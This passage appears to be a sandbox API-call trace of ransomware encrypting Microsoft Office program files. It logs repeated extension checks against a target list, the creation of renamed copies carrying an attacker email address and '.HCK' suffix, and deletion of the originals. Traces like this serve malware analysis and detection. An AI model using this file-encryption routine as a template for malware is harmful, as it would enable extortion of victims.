(lpString1=".1cd", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.397] lstrlenW (lpString=".jpg") returned 4 [0232.397] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.397] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0232.397] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0232.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0232.398] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=56944) returned 1 [0232.398] CloseHandle (hObject=0x4b8) returned 1 [0232.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0232.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0232.398] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.398] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0232.399] GetLastError () returned 0x0 [0232.399] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xde70, lpOverlapped=0x0) returned 1 [0232.404] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xde80, lpOverlapped=0x0) returned 1 [0232.406] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.406] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf2, lpOverlapped=0x0) returned 1 [0232.406] SetEndOfFile (hFile=0x548) returned 1 [0232.406] CloseHandle (hObject=0x548) returned 1 [0232.406] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.406] SetEndOfFile (hFile=0x4b8) returned 1 [0232.408] CloseHandle (hObject=0x4b8) returned 1 [0232.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0232.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.409] lstrlenW (lpString=".doc") returned 4 [0232.409] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.409] lstrlenW (lpString=".docx") returned 5 [0232.409] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.409] lstrlenW (lpString=".pdf") returned 4 [0232.409] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.409] lstrlenW (lpString=".xls") returned 4 [0232.409] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.409] lstrlenW (lpString=".xlsx") returned 5 [0232.409] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.409] lstrlenW (lpString=".ppt") returned 4 [0232.409] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.409] lstrlenW (lpString=".zip") returned 4 [0232.409] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".rar") returned 4 [0232.410] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".bz2") returned 4 [0232.410] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".7z") returned 3 [0232.410] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".dbf") returned 4 [0232.410] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".1cd") returned 4 [0232.410] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".jpg") returned 4 [0232.410] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".doc") returned 4 [0232.410] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".docx") returned 5 [0232.410] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.410] lstrlenW (lpString=".pdf") returned 4 [0232.410] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".xls") returned 4 [0232.410] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".xlsx") returned 5 [0232.410] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.410] lstrlenW (lpString=".ppt") returned 4 [0232.410] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".zip") returned 4 [0232.410] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".rar") returned 4 [0232.410] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".bz2") returned 4 [0232.410] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString=".7z") returned 3 [0232.410] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".dbf") returned 4 [0232.410] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".1cd") returned 4 [0232.410] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0232.410] lstrlenW (lpString=".jpg") returned 4 [0232.410] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.410] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.411] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0232.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.471] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=18624) returned 1 [0232.471] CloseHandle (hObject=0x4d4) returned 1 [0232.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0232.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.351] lstrlenW (lpString=".doc") returned 4 [0233.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".docx") returned 5 [0233.352] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.352] lstrlenW (lpString=".pdf") returned 4 [0233.352] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".xls") returned 4 [0233.352] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".xlsx") returned 5 [0233.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.352] lstrlenW (lpString=".ppt") returned 4 [0233.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString=".zip") returned 4 [0233.352] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".rar") returned 4 [0233.352] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".bz2") returned 4 [0233.352] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.352] lstrlenW (lpString=".7z") returned 3 [0233.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString=".dbf") returned 4 [0233.352] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString=".1cd") returned 4 [0233.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString=".jpg") returned 4 [0233.352] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString=".doc") returned 4 [0233.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".docx") returned 5 [0233.352] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.352] lstrlenW (lpString=".pdf") returned 4 [0233.352] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".xls") returned 4 [0233.352] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".xlsx") returned 5 [0233.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.352] lstrlenW (lpString=".ppt") returned 4 [0233.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.352] lstrlenW (lpString=".zip") returned 4 [0233.352] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".rar") returned 4 [0233.352] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.352] lstrlenW (lpString=".bz2") returned 4 [0233.352] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.352] lstrlenW (lpString=".7z") returned 3 [0233.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.353] lstrlenW (lpString=".dbf") returned 4 [0233.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.353] lstrlenW (lpString=".1cd") returned 4 [0233.353] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0233.353] lstrlenW (lpString=".jpg") returned 4 [0233.353] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.353] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0233.353] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29 [0233.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.471] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1347630) returned 1 [0234.471] CloseHandle (hObject=0x4c0) returned 1 [0234.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0235.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.489] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.489] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.489] GetLastError () returned 0x0 [0235.489] ReadFile (in: hFile=0x4c8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0235.529] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0235.711] ReadFile (in: hFile=0x4c8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4903e, lpOverlapped=0x0) returned 1 [0235.724] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x49040, lpOverlapped=0x0) returned 1 [0235.730] ReadFile (in: hFile=0x4c8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.731] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10e, lpOverlapped=0x0) returned 1 [0235.731] SetEndOfFile (hFile=0x548) returned 1 [0235.731] CloseHandle (hObject=0x548) returned 1 [0235.731] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.731] SetEndOfFile (hFile=0x4c8) returned 1 [0236.036] CloseHandle (hObject=0x4c8) returned 1 [0236.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0236.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.281] lstrlenW (lpString=".doc") returned 4 [0236.281] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0236.281] lstrlenW (lpString=".docx") returned 5 [0236.281] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0236.281] lstrlenW (lpString=".pdf") returned 4 [0236.281] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0236.281] lstrlenW (lpString=".xls") returned 4 [0236.281] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0236.281] lstrlenW (lpString=".xlsx") returned 5 [0236.281] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0236.281] lstrlenW (lpString=".ppt") returned 4 [0236.281] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0236.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.281] lstrlenW (lpString=".zip") returned 4 [0236.281] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0236.281] lstrlenW (lpString=".rar") returned 4 [0236.281] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0236.281] lstrlenW (lpString=".bz2") returned 4 [0236.281] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0236.281] lstrlenW (lpString=".7z") returned 3 [0236.281] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0236.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.281] lstrlenW (lpString=".dbf") returned 4 [0236.281] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0236.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.281] lstrlenW (lpString=".1cd") returned 4 [0236.281] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0236.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.282] lstrlenW (lpString=".jpg") returned 4 [0236.282] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0236.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.292] lstrlenW (lpString=".doc") returned 4 [0236.292] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0236.292] lstrlenW (lpString=".docx") returned 5 [0236.292] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0236.292] lstrlenW (lpString=".pdf") returned 4 [0236.299] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0236.299] lstrlenW (lpString=".xls") returned 4 [0236.299] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0236.299] lstrlenW (lpString=".xlsx") returned 5 [0236.299] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0236.299] lstrlenW (lpString=".ppt") returned 4 [0236.299] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0236.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.299] lstrlenW (lpString=".zip") returned 4 [0236.300] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0236.300] lstrlenW (lpString=".rar") returned 4 [0236.300] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0236.300] lstrlenW (lpString=".bz2") returned 4 [0236.300] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0236.300] lstrlenW (lpString=".7z") returned 3 [0236.300] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0236.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.300] lstrlenW (lpString=".dbf") returned 4 [0236.300] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0236.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.300] lstrlenW (lpString=".1cd") returned 4 [0236.300] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0236.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0236.300] lstrlenW (lpString=".jpg") returned 4 [0236.300] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0236.300] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.300] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23 [0236.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.301] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6729) returned 1 [0236.301] CloseHandle (hObject=0x4c0) returned 1 [0236.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0236.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.564] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.564] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 